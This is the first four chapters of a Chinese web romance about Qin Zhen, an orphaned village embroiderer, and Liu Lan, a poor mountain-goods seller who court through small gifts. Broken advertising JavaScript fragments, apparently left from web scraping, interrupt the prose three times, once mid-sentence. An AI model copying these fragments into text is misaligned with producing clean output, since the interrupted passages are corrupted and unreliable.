《山货郎的娇小姐》 1. 第1章 夏天的雨来得迅猛,方才还晴朗的天,现在已经乌云密布。 滚滚闷雷时不时炸响,其间夹杂着网密的闪电,看得人心惊。 风愈发的大,刮来了一地残枝落叶。 屋内昏暗,本想借光的秦蓁不得不放下手里的绣绷。 绣活眼下是做不成了,她索性收拾好东西,抬眼看向外面的天地。 厚重的云层像孕育着风暴,带来凉爽的同时也让人产生了几分惧意。 愣愣的看了半晌,秦蓁回过神来才发现,门口不知何时竟多了一道身影。 秦家的院门比村里其他人家的高了一尺有余,那人却依旧能露出头顶,不难想象来人的身形是如何的高大。 秦蓁当下心里一紧,回身攥了把小巧的剪刀。 盯了片刻,估摸着那人应该只是想过来避避雨,可秦蓁丝毫不敢松懈,放轻步子走到了门口。 秦蓁住的东厢房挨着厨房,厨房到院门特地修建了游廊,方便人下雨天行走。 这游廊是秦蓁爹爹为娘亲建的,当时在村里可是独一份。爹爹走后,娘亲经常会絮絮叨叨说着这些往事。如今人都不在了,只剩她自个回忆往昔。 秦蓁顺了顺发紧的嗓子眼,若无其事的问道:“是周叔吗?怎么下雨天过来了。” 门外当即回道:“秦姑娘,我是村子另一头的柳岚,借你家檐下躲雨,待会就离开。” 柳岚。 秦蓁从未见过这人,只知道是村里的山货郎,偶尔也听婶子们说起。今年双十,长得倒是一表人才,就是家里穷,至今未定亲娶妻。 秦蓁暗自恼了一瞬,真是相看人相傻了,碰见一位尚可的男子就忍不住掂量。 门外的柳岚自知不妥,秦蓁一个姑娘独居在村尾,没人见着还好,若是有人正好路过,看他站在姑娘家门口,保不齐会传出什么闲话。 他自己倒是无所谓,只怕会影响秦姑娘的名声。 这般想着,柳岚便准备顶着大雨跑回家。过了这段人家就多了,总有几家能避避雨。 “咚咚。”门内传来两声敲门声。 柳岚转身去看,发现门顶递过来了一顶斗笠,“我看今天这雨一时半会儿不会停,你先穿着回去吧,天晴了再还回来。” 话落,又递来一身蓑衣。 “多谢。”柳岚不再多逗留,穿戴好雨具便冲进雨幕里。 …… 大雨淅淅沥沥下了一夜,清早开门时凉爽的风卷着水汽袭来,让秦蓁不免打了个哆嗦。 以防万一,秦蓁还是回房添了件薄衫。 院子里一片狼藉,她却不急着收拾。前段时间接的绣活到了收尾工作,无需再像先前那般日日赶工,加上天色昏暗,秦蓁便心安理得偷了个懒。 小菜地也被祸害了一通,不少菜遭了殃,秦蓁挑出最严重的一部分,清洗干净后和淘洗好的米一起下锅煮成青菜粥。 多雨的日子干柴难寻,秦蓁为了省些柴火,多数时候都会煮一-大锅粥作为一天的主食。 除了洗衣做饭,天气好时秦蓁也会跟着关系亲近的姑娘家一同去上山拾柴火。不过她靠做绣活挣钱,对手格外看重些,因此不常去,宁愿多花几文钱买几捆。 用过早食,秦蓁便将院门打开,方便待会把收拾好的枝叶扫落出去。 门才开一条缝,正好能看到门口放着的斗笠和蓑衣。 秦蓁探出身,没在附近瞧见什么人的身影,只能从泥泞的道路上窥见几行脚印。 她自起身时都没听到门外有什么动静,说明对方比寻常人更早些,秦蓁边弯腰拿东西边暗自琢磨着。 仅仅经过一晚上的时间,蓑衣上的水迹根本不能干透,但能看出用干燥的布巾擦拭过。 秦蓁将雨具挂好,心里不禁对柳岚的印象好上几分。 —— 柳岚清晨出门不外乎有顾忌名声的原因在,怕自己影响到秦蓁,可对于他来说,挣钱才是头等大事,究其根本,还是为了雨后钻出来的山菇。 镇上的富贵人家又称其为红珍,因味道鲜美,食材难得,还具有一定的滋补功效,近几年来倍受推崇,价格自然也水涨船高。 钱帛动人心,不说柳岚为了收集山货,对周围几座山头的地形和产物了然于心,单单是红珍的利润就足以让他把几片枞树林寻摸透。 寻常菇类可卖五到十文,二十文顶天,可红珍价高时可卖百文一斤,普通农家两个月的花销才够一斤菌子,高门大户的奢侈自然是平民百姓想象不到的。 雨后的山林道路湿滑,柳岚的草鞋沾了一层厚厚的湿泥,他不得不停下来刮蹭干净。 山里空寂,如果不慎摔倒,那可真是叫天天不应,叫地地不灵了。 垫了松针的背筐里尚且只装薄薄的一层红珍,柳岚抬头望天,见阴沉沉的天暂时没有点墨的迹象,稍稍松了口气,接着继续寻找藏在枯叶下的山菇。 —— 秦蓁锁好门,侧端着木盆准备去河边洗衣裳。 秦家的院子里有一口井,当年秦父为了秦母,方方面面都想得周到。只是秦蓁一个人待久了,不免觉得家里寂静,因此更青睐于去河边同村里人一起洗。 昨天刚下过雨,河面比前几日宽泛了许多,河滩上的石头也因沾了水更加湿滑。 “秦姑娘,当心些,可别摔着了。”附近的一位婶子提醒道。 秦蓁淡笑着回她:“多谢赵婶。” 见有几位相熟的姑娘聚在不远处,秦蓁便抬脚朝那边走去。 “秦姐姐,你来啦!” “秦姐姐,这边。” 秦蓁今年十八岁,同龄人多是嫁为人妇,她却至今未定亲,被人暗地里称作老姑娘。 村里除却相熟的婶子和新妇,秦蓁最常往来的还是这群十五六岁的妙龄少女。 她们不似家里的娘亲和长嫂,要忙活一个家的里里外外,每每安排的事情也是些相对轻松的活计,因此能有闲暇时间到秦蓁那边学些简单的新鲜绣样。 待秦蓁选好位置,便有几个丫头凑过来同她说话。 “秦姐姐,你下午可得闲?我上次那幅荷花图还没绣完,想找你指点指点。” “我娘也让我带妹妹过去学学,”旁人小声道,似是觉得不妥,她又偷偷加了句:“我娘说再带个鸡蛋……” 鸡蛋在农家算是金贵的东西,平日里两文钱一个,是要一个个 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 攒着去卖的,只有条件稍好的人家才舍得偶尔吃上一回。 秦蓁平时教大家也不求得些什么回报,不过是想着她不通农事,有人能提点两句也是好的。 毕竟院子里先前郁郁葱葱的菜地就少不了大家的功劳。 而且农家女普遍质朴,待人又真诚,有什么好吃好玩的也都会想着她。 秦母在宅院里长大,倒是没想到她以往笼络人心的手段竟成了女儿日后生活的一-大助力。 “过来就是,左右我今日闲着。”秦蓁捶打了几下衣裳,对她们说道。 秦蓁父母还在的时候家里是雇了个粗使婆子的,自从娘亲去世后她便遣走了,开始学着自己一个人生活。 十五岁那年她连衣裳都不会洗,现如今动作熟练,拧干一盆的衣物也不会觉得费多大的力气。 姑娘们洗好后便各自散去,顺路的就三三两两约着下午一起过去秦蓁家。 毕竟只有秦家一户坐落在靠山脚的村尾,虽说都在一个村,但好歹是未出阁的少女,人多总归安心些。 …… 湿滑的村路上足迹渐多,草鞋不似稀罕的布鞋,无非是多费些时间编制,因此姑娘们脚步轻快,只有少数几个怕裤脚沾上泥点子,回家少不得挨娘亲的训,走得格外小心些。 秦蓁也学会了编草鞋,多雨的夏天常穿着草鞋在村里行走。 秦家夫妇在世时非常宠爱自己的女儿,大小家务由粗使婆子做,脏活累活则被秦父包揽,她只要同娘亲在房里缝衣绣花就成。 不仅如此,在村里大部分孩子没有一双体面的布鞋时,秦蓁却有四双完完整整属于自己的鞋子。 所以,从小娇养到大的秦蓁,第一次穿草鞋时毫不意外磨破了脚。 当时的她不知自己前路何在,只能尽量把钱攒下来,并且学着和村里人一样精打细算过日子。 现如今的秦蓁小有名气,镇上的富贵人家常托人找她定做绣品,多是屏风之类的大件,去年还有一位小姐央她绣了件嫁衣。 秦蓁并不知晓那位小姐的成亲场面是如何的风光,也不清楚旁的富家小姐对她的作品有何评价,只明显的感觉到想求她绣品的人比往常多了许多。 这对她来说自然是好事,有进项了,日子也能好过些。但秦蓁爱惜眼睛,不愿如娘亲一般熬花了眼,因此只与几家签订了契书。 “秦姐姐,我这样对吗?”李青竹递过自己的绣绷,问道。 秦蓁一眼便看出问题所在,指尖虚点着那处细声道:“你看,针脚乱了些,花瓣轮廓不平整,往这边补几针会更好。” 李青竹坐回去细观她的“夏荷图”。 有姑娘听见动静侧目,余光却看到旁人在绣一幅精致的鸳鸯戏水图,她忍不住打趣道:“玉姐姐,这是绣给谁的啊?” 李成玉也不扭捏,大大方方展示给大家看。“前些日子刚定亲,还能绣给谁?” 大家笑她不知羞。 李成玉也不恼,点出几个在相看的人,不外乎都在绣比翼鸟、并蒂莲之类。 众人笑作一团。 秦蓁也在其中,不过她比其他人经事些,倒是没人看出她笑容下掩盖的一丝忧虑。 2. 第2章 大夏朝虽不似前人那般,到了多少年岁没有定亲嫁娶就会被强行婚配,可秦蓁一介孤女,又住在村尾,平日里多多少少还是不安全的。 因此她出门在外的时候都会带一把小匕首,以防万一。 爹爹和相熟的叔伯当过兵,秦蓁自然也不是多怯懦胆小的主,小时候玩闹一般学过三两招,不至于伤人性命,但用于自保至少是足够了。 可惜时代如此,鲜少有女子能自立门户,否则秦蓁也不会精挑细选,希望能找个男子托付终身。 如她现在,父母去世后户口就虚挂在周大石家。 周大石同秦父秦叔朗是战友,归乡后在镇上开了一家镖局,邀了一些无家可归的战友组班底,有家有室的则偶尔来赚个快钱帮帮忙。 青州府城地界大,流寇山匪星星点点散落在几条主要的通路上,倒也不成气候,可总归有风险,因此周大石的镖局在日益繁忙的商贸中渐渐站稳了脚跟。 周秦两人私交本就不错,成亲后两家有来有往,关系更是亲近了不少。 日子本该这样和和美美地过下去,只可惜天不遂人愿。 秦叔朗存了些家底,偶尔上山打猎或走一趟镖,挣的银钱足够一家人好好过日子。本以为生活会这样平波无澜的度过,没想到那一次寻常的走镖却让秦叔朗失去了生命。 作为家里的支柱,秦叔朗的去世对于这个小家来说无疑是个巨大的打击。处理完秦叔朗的丧事后,秦母徐清媛因为悲伤过度几经昏厥,可一想到自己尚未成人的女儿,只能咬牙硬撑着。 于是她一边熬着接绣活,给女儿攒嫁妆,一边寻摸适合的女婿人选,希望秦蓁以后的日子能好过些。 但她也知道父母的选择可能不是最好的,因此只是写了一份名单,而不是背着女儿给她定亲。 徐清媛的身体一天比一天差,却不愿意费钱买药看病,秦蓁知晓娘亲是存了和爹爹一起的心思,也不再劝,只是强迫着自己成长起来,默默为以后一个人的生活做打算。 大夏朝有女子独自成户的先例,但条件较为严苛,需每年缴纳二十两的户税和千斤的粮税。 富足的女子纵然承担得起,可带来的问题也足够让人烦恼,更别说境况一般的普通女子了。 因此年岁满了十四岁,但不幸失去亲人的独女除了嫁人,便只能托关系将户口迁到其他亲戚名下,由他们承担粮税和人头税。 徐清媛临终前托周大石一家照顾秦蓁,也取了未来五年的税收银钱给他们,知道差人打点得费些功夫,又估量着添了些。 但始终是麻烦了别人,秦蓁心里过意不去,这才希望能尽快找个合心意的男子订亲成婚。 而且大夏朝有规定,男子年满二十或女子年满十八岁还未婚配的,次年将翻倍征收赋税。 虽说现在的秦蓁完全出得起这笔钱,可多收的几百文好歹能买两匹布呢,何必白白给官府送这个银子? 秦蓁心里头思绪不断,手上的动作却依旧稳中有序。 “我爹说过两天估计就天晴了,等日头晒晒,我们就去山上拾柴火。你们去不去?” 李成玉最先开口:“我就不去了,我娘说我这绣活还得多练练,省得嫁衣上绣坏了给她丢人。” “有秦姐姐在,你的手艺可比以前好多了,你娘怕不是防着你去和某人见面吧?”李青竹笑道。 大夏朝民风较开放,男女之间的正常往来并不会被人苛待,但即便是订亲了,频繁的交往也还是不太合适。 李成玉瞪了她一眼,自己嘟囔着:“有什么好防的……” 少女眉宇间的欢喜明显极了,嘴角还带着不自觉的笑。姑娘们也不戳破,只是偷偷捂嘴笑。 李青竹又问了几个没表态的,转头向秦蓁询问:“秦姐姐,你去不去?” 家里的柴火确实不多了,秦蓁便点头应下。 …… 大雨断断续续下了两天,果然在第三天的时候止住了步伐。 秦蓁的收尾工作已经完成,正好趁着有空闲,顺路搭了牛车去镇上。 牛车一趟要两文钱,去镇上也只需半个时辰,如果是秦蓁自己走,得费上一个多时辰。 村里的孩子走惯了,脚力比秦蓁强上许多,秦蓁本想学着融入他们,曾经尝试过从镇上步行回家,结果一半的路程还没走过,就差点累倒在路边,歇了许久才缓过来。好在当时是下午,路上没出什么意外。 自此,秦蓁再也不做无谓的尝试,老老实实花钱坐牛车。 “孙叔,这趟几时走?” 孙良看了看天色,估摸着说:“约莫一个时辰,再晚了日头太大。” 秦蓁去送绣品,费不了多长时间,孙良对她也算有点了解,因此并不催她,只是叮嘱往常最拖拉的人尽量快些,晚了就不等人了。 孙良早前拉牛车的时候,总有人赖着让其他人等,时间久了孙良也生怨气,有一次便直接走了,后来那些人骂骂咧咧来闹事,孙良孤家寡人,又是有力气的汉子,根本不惧怕这些。 不外乎就是和闹事妇人家的汉子打上一架,事了,那些妇人不仅回家被骂了一顿,往后还得跑到隔壁村去坐车。 可隔壁村的车夫也不是个好欺负的,能不能坐上另说,外人总归要受点排挤,把她们肠子都悔青了。 现在乘车的人乖觉了很多,连连朝孙良应下,心里却想着实在来不及就等下一趟,晒就晒些吧。 秦蓁背着顶上带盖的小背篓,朝东边走去。 村里少见的青石绿瓦在小镇上比比皆是,而单座占地面积最大的,当然要数富人遍地的东边。 石狮镇守的朱门自然不是寻常百姓能进的,做买卖的商贩多是在宅院的后门交易,秦蓁也不例外。 她早已熟门熟路,让守门的小厮帮忙通传一声后便在一旁等待。 青色的砖石上还带着被雨水冲刷过的水迹,秦蓁走到雨水稍微少些的地方,计划着待会去铺子里买点绣线,有一阵子没买了,剩得不多。 身后不远处的门户里由远及近传来一阵说话声,秦蓁隐约觉得其中一道声音略微耳熟,不由得留心听了一耳朵。 “……小柳啊,还是你实在,朵朵红珍新鲜又完整,先前你没来,有个兔崽子竟然混了些寻常菌子糊弄我,好在厨子认出了,险些坏了事。” 这浑厚的声音明显属于中年男子,其后果然接着一道温和的嗓音,那声音的主人不卑不亢道:“应该的,我们小本生意,自然得守好自己的名声。” “你我是信得过的,要不是上头催,我也不可能找别人。对了,下次有什么好东西,记得先往贺叔这送,先前那头鹿味道不错,老爷惦记了许久。” “贺叔放心,一有货了我就给您送来。”大概是收拾好了,青年紧接着准备告辞:“贺叔事务繁忙,我就不打搅了,留步。” 贺姓男子也不多客套,“那我就不送了,你路上当心些。” 吱呀一声响,巷子里便只剩下车轱辘渐行渐远的动静。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 秦蓁回头看了一眼,认出那高瘦的背影属于前些日子躲雨的柳岚。 —— 群山在雨水的笼罩下雾蒙蒙一片,看不清晰,柳岚脱下斗笠和蓑衣,在堂屋坐下歇息。 怕涨起的水淹了秧苗,他上午便去田里巡视了一圈,正好有个出水口被滚落的泥块堵住,疏通后,确定没什么问题了才回家。 柳岚平日里靠卖山货维持生计,却也没抛下父亲留下的田地。一亩水田和一亩旱田,不算多,但足够他一个人过活。 淋湿的蓑衣挂在墙上,正在往下滴水,令人想起前段时间借的雨具。 红珍的采摘期已经过了,柳岚暂时能松口气,不用再冒着山路湿滑的危险去雨后寻找,也不用大老远跑到对面的山上。 上次他只是将东西还回去,并没有花时间准备谢礼,一门心思全在挣钱上。现在得空回想,不由得担心秦姑娘会不会觉得他很失礼或是吝啬,毕竟只是一件小事,回个谢礼费不了多少时间和精力。 又或许秦姑娘并没有多在意他。 柳岚环顾自己家用黄泥夯的土墙,不禁叹了口气。 秦姑娘家境好,吃穿用度比镇上的人家也差不了多少,不仅会识字作画,样貌更是一等一的好,想必镇上有许多心悦她的男子。至于他这种凡夫俗子,秦姑娘估计是看不上的。 可柳岚心里隐隐有个声音在说:万一呢? 这几年秦蓁一直在村子里生活,只有偶尔几次去镇上送绣品,而且在娘亲去世后也试着融入大家,说明她并不排斥村里,说不定……说不定…… 柳岚敛下心神,进了旁边的屋子收拾东西。 春季吃食少,他存的部分山货倒成了紧俏货,因此现在剩的不多,唯一拿得出手的只有一小布袋子的干木耳。 不过昨日在山上摘了一篮子枇杷,给大伯家送了些过去,自己只留了小部分,想着姑娘家应该爱吃这些,柳岚便打算一并送去。 次日早晨,秦蓁推开门,却没想到门口放着一篮子新鲜菌子,最上边还有黄澄澄的枇杷和一个布袋。 这种行径略微熟悉,秦蓁探身一看,果然能看到泥泞路上的一行脚印,那尺寸明显是个高的男子才有的。 能猜出是为了答谢上次借蓑衣的事,可这谢礼未免有些厚重,让秦蓁一时不敢收。 如今并没有灾祸病乱,但家家户户依旧对食物看得紧,更别说鲜甜多汁的果子了,不仅小孩喜欢,大人也偶尔嘴馋。 多数人家会在屋前屋后栽种果树,除了家里人自己吃,待客的时候也可以摆一盘,栽得多了还不失为一门进项。 村里栽了枇杷树的不在少数,只是前段时间刚过丰果期,成熟的果子差不多都摘完了,现在的枇杷树上唯有零星的几颗黄枇杷。 看柳岚送的量,大概是好不容易才寻摸到的。 等打开布袋一看,秦蓁更为难了。 一捧干木耳,泡发后足够秦蓁吃四顿,如果按五文钱一两的市价来算的话,估计要十五文。 爹爹给娘亲买首饰时,五两十两的簪子和耳珰秦蓁见过不少,对农家人来说价格昂贵的果蔬也不觉得稀奇,可经历过三年的普通生活后,秦蓁知道,每样东西都是大家不可多得的财产。 秦蓁琢磨着要不要送回去,随即便歇了心思。 她和柳岚的家隔了大半个村子,不管如何都不可能避开大家做到悄无声息,届时闹得流言四起可就不好了。 秦蓁纠结半晌,最终还是将篮子提了进去。 3. 第3章 放晴的第二天,秦蓁同早先说好的几个姑娘一起去山上捡柴火。 她换上劳作时常穿的旧衣裤,背着的背篓里放着一把柴刀和一捆麻绳。 这次去的是村子后面的大山,因为离村子近,来来往往的人也多些。 一群半大的姑娘,不必为了捡柴火跑远,常去的几处地方便足够她们活动。 路上碰到同样去打柴或者挖野菜的熟人,大都只是匆匆打个招呼就走,夏天的雨来得迅猛,可不得趁着天晴多干些活,打招呼这种虚礼显然不是眼下该计较的事。 不过相比之下,她们几个悠哉得多,毕竟家里也不指望她们能拖几捆大柴回来,背上一篓引火柴和一把细柴就差不多了。 在路上,少不了说些女儿家常聊的八卦趣事来解解闷,周围看不到几个人影,大家便叽叽喳喳聊开了。 秦蓁在其中时不时应和几句,倒比一个人在家的心情更明媚些。 突然间,李青竹发现前方交错的林间小路上影影绰绰走过一道身影,旁边的人随她目光看去,渐渐消了声。 秦蓁只远远瞧了一眼,没认出来是谁。 “咦?”柳春苗疑惑道:“那好像是我三堂哥。” “你三堂哥?谁啊?” “卖山货的柳岚啊。” 众人了然。 寻柳村以柳和李为大姓,除了本家和关系亲近的好友,其他繁杂的亲缘关系尚不是未出嫁的姑娘们所熟知的。 而且柳岚长时间在外奔波,村里少见他的踪迹。 不过他二十岁仍未订亲的名声在姑娘间也有所听闻。 “他真的一次都没有订亲吗?”有姑娘好奇地问道。 柳春苗迟疑着点头。 “这不应该啊,”李青竹顺手扯了一根从旁边探出来的狗尾巴草,继续道:“我听我哥说,柳岚哥人挺不错的,脾气也好,就没一个姑娘看上他?” “对啊,我看村里好多汉子都没他高呢。” “我以前陪我娘去卖过菌子,人家长得可俊了,说话也很温柔。” 话匣子一打开,轻易收不回来,反正都是关系亲近的玩伴,不用避讳什么。 而且村里的姑娘多数会嫁到邻村或是更远的地方,和本村人结亲的还是少数,因此不用害怕会传出闲话。 一行人走走停停,聊天的话题逐渐从为什么没有姑娘看上柳岚到打媳妇的混账汉子,至于最开始的缘由,早被人遗忘了。 但这也让柳春苗悄悄松了口气,因为并不是姑娘家不愿意嫁,而是三堂哥不愿意娶。 只是她怕说出来之后让三堂哥挨骂,毕竟大伯母就骂过,说什么癞子想吃天鹅肉,一个穷苦汉子,有人愿意上门就不错了,还在这挑挑拣拣…… 不过她也知道,那些人都是大伯母介绍的,如果事情办成了,她能收个谢媒礼,少说都有一钱呢。至于那些谩骂,还不是自己竹篮打水一场空的恼怒,过个耳朵听听就行。 秦蓁坠在后头,自谈论起柳岚后便没说一句话,大家也习惯了她这样,并不觉得奇怪,一时倒没人发现秦蓁透露出深思的眼眸。 …… 如今秦蓁的气力也被磨练出来了,可以同村里姑娘一样背一捆细柴而不觉得吃力。 回到自家小院后,秦蓁卸下背篓和柴火,放到柴房归置好。 这已经是第三趟了,足够撑过接下来的半个月。 得了闲暇,秦蓁才分出心思去想其他事。 她拿出手帕擦汗,目光却不由自主地落在桌面上。瓷白的盘子里盛着一小把枇杷,才过两日,果子依旧新鲜饱满,让人忍不住想去品尝。 徐清媛整理的那份名单,多数是通过周家了解到的,家里在镇上小富有余,和邻里乡亲之间关系也比较融洽,在外人看来显然是不错的夫婿人选,而另一小部分则是周围几个村子的富农之家,能养得起当年鲜少劳作的秦蓁。 可秦蓁这些年通过卖绣品同旁人了解到,名单上的公子哥有些看着人模狗样,实际却是风流浪荡之辈,还有些仗着家底富足,便整日无所事事、不求进取,至于被人推崇的秀才,则丝毫没有主见,事事听从父母的安排…… 秦蓁自认要求不高,能找个正直有担当,恪守本分共度一生的人便好。 富贵与否对于她来说倒显得没那么重要。 如此一来,柳岚或许是个不错的选择。毕竟从往日偶尔的谈论里就能了解到,此人品性良好,尝试一番也未尝不可。 秦蓁细细琢磨着,在心里暗下决定。 —— 在大夏,年轻男女追求心仪对象时常会以赠送吃食来表明心意,若是对方回赠了,则代表可以继续接触,等到订亲后两人的关系过了明路,才能赠送钗环簪佩或手帕荷包等合乎礼法之物。 柳岚自知应该会被拒绝,心底却隐隐期盼着什么。两种情绪交杂着,让他忐忑不安,于是他再次绕了半个村子,跑到对面的山上寻摸山货。 虽说目的是探知秦蓁的态度,但柳岚对于收山货也丝毫不含糊,照旧清晨上山。 柳岚心里记挂着事,因此走得不远,提着半满的篮子下来时正好看到秦家的院门是开的。 如今世道好,这边民风又淳朴,一般农户家里有人的话都会把院门打开,方便邻里乡亲过来串门。 已过巳时,早起的人家灶房里渐渐飘出炊烟,显然在做午食。 柳岚腹中传来饥饿感,脚步却在接近秦家时放慢。 他努力装作若无其事的样子,忍不住往门内看的眼神则暴露了那点小心思。 可惜院门再宽也抵不过年轻汉子迈开的几步,柳岚暗自叹息错过了一次机会,谁知身后突然有人喊了一声“柳岚”。 女子轻柔的嗓音带着几分急促,像是匆忙赶了出来。 柳岚立马回身去看,只见秦蓁身着一袭荷绿色衣裙,偏浅的带子束起芊芊细腰,好似从画中走出来一般。 柳岚不敢再细看,慌乱之间把视线挪向一旁。 “秦姑娘。” 不知是跑得太快还是其他原因,秦蓁感受着胸腔内剧烈的跳动,一时忘了该说什么。 除了年岁相近的兄长,她好像从未同男子这般接触过,不过经历的人和事物多了,倒没有寻常女子那样羞怯。 秦蓁定了定心神,缓步走向柳岚,说道:“昨日不小心多买了些糕点,你若是不嫌弃,要不要带回去尝尝?” 她不清楚柳岚的喜好,也不确定他是否饮酒,只能折中选了糕点。毕竟就算他自己不吃,拿出去送人也是好的。 女子纤细的手指提着用油纸包裹好的糕点,柳岚怔愣片刻,连提篮子的那只手攥得死紧都没发觉,他反应过来后想伸手去接,却在半路收回,往干净的衣裳上擦了擦才接过。 宽大的手掌托着那一包糕点,丝毫没有碰到秦蓁。 柳岚顺了顺发紧的嗓子,开口道:“那就……多谢秦姑娘了。” “不必客气,”秦蓁将他的动作收入眼中,连带着笑意也添了一分,“时辰不早了,那你早点回去吃饭,我就先回去了。” “好。”柳岚嘴上应得干脆,脚步却没挪动半分,直到秦蓁进门才收回目光。 篮子只是半满,完全可以再腾出一小块地方,柳岚便将油纸包小心地放了进去,放完后他又有些懊恼——角落里有一小把野果子,刚才应该拿给秦姑娘的。 —— (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 秦蓁用过午食才感受到自己的魂落在了实处,她居然真的答应了柳岚的示好。 前些年不乏有清俊才子向她表明心意,但同她条件相当的适龄男子秦蓁大致有八成了解,因此并没有答应。现如今看起来较为贫穷的柳岚,接触下来却格外的舒心。 秦蓁不禁对自己的选择表示满意。 不过,也不可过早下结论,柳岚其他方面如何,还得再观察一阵子。 次日上午,露水随着太阳的升起而消散,秦蓁则趁着日头不算大的时候把菜园子里的杂草除了。 夏季的草木格外繁盛,明明前几天才除的草,下过雨后又疯长了起来。好在她时时注意,没有让杂草过于泛滥,次数多些也没什么,干起活来还较为松快。 秦家院子大,开的菜地也大,头先秦蓁对这些不熟悉,不敢多种,现在嫩绿的菜苗已经铺满了菜地。 需要立竹竿的爬藤类大多种在靠墙的里侧,如菜豆、豇豆、青瓜这些,靠墙的另一侧分了一垄地种甜瓜,南瓜冬瓜因为占地大,因此种在后院。 苞米才种不久,只有小腿高,同样高度的番椒和紫瓜却已经开出了花,着急的番椒甚至冒了尖角。 和经验丰富的老农相比,秦蓁这片地算不上顶好,但和其他人比起来也能被夸赞两句。一路磕磕绊绊,菜地终于侍弄得像模像样,心里的成就感顿时油然而生。 将扯的草在柴房的屋檐下铺开,秦蓁净手后去厨房提菜篮子,准备摘角落里的黄花菜。 她自己喜欢吃,因此比别人家种得多些,有几朵抢先绽放,嫩黄的花开在院子里,看得人心生欢喜,还有一片片含苞待放的花苞和正在生长的嫩芽,不难想象来日丰收的场景。 可惜不能留着一起盛开,秦蓁叹了口气,仔细摘取今年的第一茬。 不过一小会,篮子里就装满了一大半,她一个人一餐自然用不上这么多,剩下的会焯水晾晒,留着冬日菜少时食用。 静谧的小院门口突然传来两道敲门声,秦蓁抬头看去,发现是柳岚。 “秦姑娘。”清俊的男子藏不住眸中笑意,怕有些唐突,便移开目光,可下一瞬还是忍不住挪了回来。 “柳岚,”秦蓁一时无措,状似自然道:“怎么过来了?” 柳岚并没有进来,站在门口想将手里的东西递给她:“山上看到棵石榴树,见花开得好看,便折了几支。” 大多女子都喜欢缤纷还带着芳香的花,秦蓁自然也不例外,她接过,又凑近闻了闻,石榴花不似寻常花,除了嫣红的色泽,其他方面好像并不吸引人,但还是能闻到淡淡的幽香。 “多谢。” 柳岚见她喜欢,心里悄悄松了口气。 他背过身去,示意秦蓁拨开表面拿来遮挡的草。 “今天取了许多石蜜,听人说对姑娘家有益,就想着给你送些,旁边还有三枚野鸡蛋,不多,但也能炒盘菜。” 石蜜是拿小罐子装的,看着不大,差不多能装一两斤的样子,可寻常人家连沙糖都舍不得买,更别说难得的石蜜了。 秦蓁刚要拒绝,柳岚察觉到她没有动作,继续道:“石蜜我不常喝,家里还有一坛,野鸡蛋我也有,在旁边,共八枚,我们分着吃。” 秦蓁顺着摸过去,果然摸到了剩下的五枚,这才放下心来。 “那我收下了,你等等。” 秦蓁两手拿不下这么多东西,去厨房放下石榴枝和石蜜后顺手提起放黄花菜的篮子。 中午要用的已经在碗里备好了,这些可以都给柳岚。 “刚摘的黄花菜,你拿着。” 柳岚也不推辞,让拿着就拿着,只是两人都没提起篮子该怎么处理。 4. 第4章 偷得一段清闲时辰,姑娘们再次约着到秦蓁家里做绣活。 堂屋和上次过来时没有太大的变化,只是正中的桌子上摆放着一只瓷瓶,雪白的色泽配上绿叶中点缀着的榴花,让往常沉静的小院里增添了一份别样的活力。 银光在指间闪烁,一捏一扯一提,来回动作间,由绣线绘成的画便徐徐铺开在素布上。 大家闲聊着近来的日常琐事,你一言我一语,倒也热闹。 嫣红的榴花本就吸引人,有姑娘多看了两眼,突然想到什么,说道:“我家的石榴花落了不少,要不要捡拾些过来染手帕?” 农家少有人特地花钱买手帕,多数是家里妇人用裁衣余下的布料缝制而成,男子多用深色,女子则为浅色,若是布料剩得不多,那便用格外存放的素布。 只是素白手帕看着寡淡,因此会绣些花样添彩,除此之外,有染料的话也会在闲暇之余给布料染色。 恰逢石榴花开,一场大雨下来又落了不少,姑娘们先前没注意,有人提起后自然把主意打上了。 “我叔伯家也有。” “我前几日在山上也看到了。” 定性不足的少女们顿时坐不住了,收好针线就想放下绣绷往外走。 李青竹拦下众人,朝秦蓁问道:“秦姐姐,可以在你家染布吗?我们会收拾好的。” 只三两个人还好,可是她们人太多,领进家里少不了被长辈一通骂,哪像秦姐姐,一个人生活倒自在些。不过其中的苦楚也不少,李青竹大致了解,心中的情绪一瞬而过,并没有表露出来。 秦家有两口锅,秦蓁平时自己做饭,一口锅完全足够,另一口不常用,但也打扫得干净,随时都能使用。 秦蓁不在意这些,便随她们去,“你们用就好。” 得了允许的众人雀跃起来,当下三三两两结伴去寻石榴花,李青竹则回家取石碱,待会好做媒染。 望着一行人活泼的身影,秦蓁不由得出神,片刻后她笑着摇摇头,继续绣那一株幽兰。 秦蓁手艺越发好,一张手帕自然不在话下,绣完后见大家还没来,她放下绣绷想了想,起身到灶房烧水备着。 一群人到的时候水已经烧开了,秦蓁在灶房门口招呼她们过来。 花一般的少女们笑得肆意,连平时最腼腆的几人都笑开了,好似孩童时被父母允许去镇上赶集一样欢乐。 “多谢秦姐姐,秦姐姐真好!”李青竹跟在秦蓁身后进了灶房,朝她笑道。 其余人也随后开口感谢。 “不必客气,青竹可是同我打了包票会清洗干净,到时候没做好,我一人扣下一方帕子。” 大家相处久了,也知道秦蓁在开玩笑话,但还是向她保证:“放心吧秦姐姐,保证干干净净的,我娘过来了都得夸一句。” 姑娘们笑作一团,接着一部分人去井边打水,另一部分则将包好的石榴花放进滚水里熬煮。 好在当年秦叔朗托人在院子里打了口水井,不用每日去河边挑水,否则以秦蓁的身子骨,这日子也撑不起来。 帕子早就浆洗过了,每个人都做了标记,混在一起也不怕分不清。春夏秋三季,多多少少总会有适合染色的染料,但不是每次都能有空闲时间,所以比较宠女儿的妇人总会记得备上一块,方便临时染布拿取。若是姑娘家底子厚又得了父母的允许,自己也可以多备几块。 不一会儿,锅里的水便成了深褐色,李青竹将染液舀进秦蓁拿出的木盆,端出灶房后招呼大家把布料拿过来染色。 寻常的染色半个时辰即可,等待期间,大家只得耐住性子继续做绣活,不过谈论的话题自然从琐事换成了布料的颜色。 柳春苗听李青竹说她带了石碱,也接着道:“我带了一片白矾。” “真的?” 大家有些惊喜,平常多用石碱固色,倒是忘了白矾同样可用。 “我堂嫂去年用白矾染出了碧色,可好看了!” 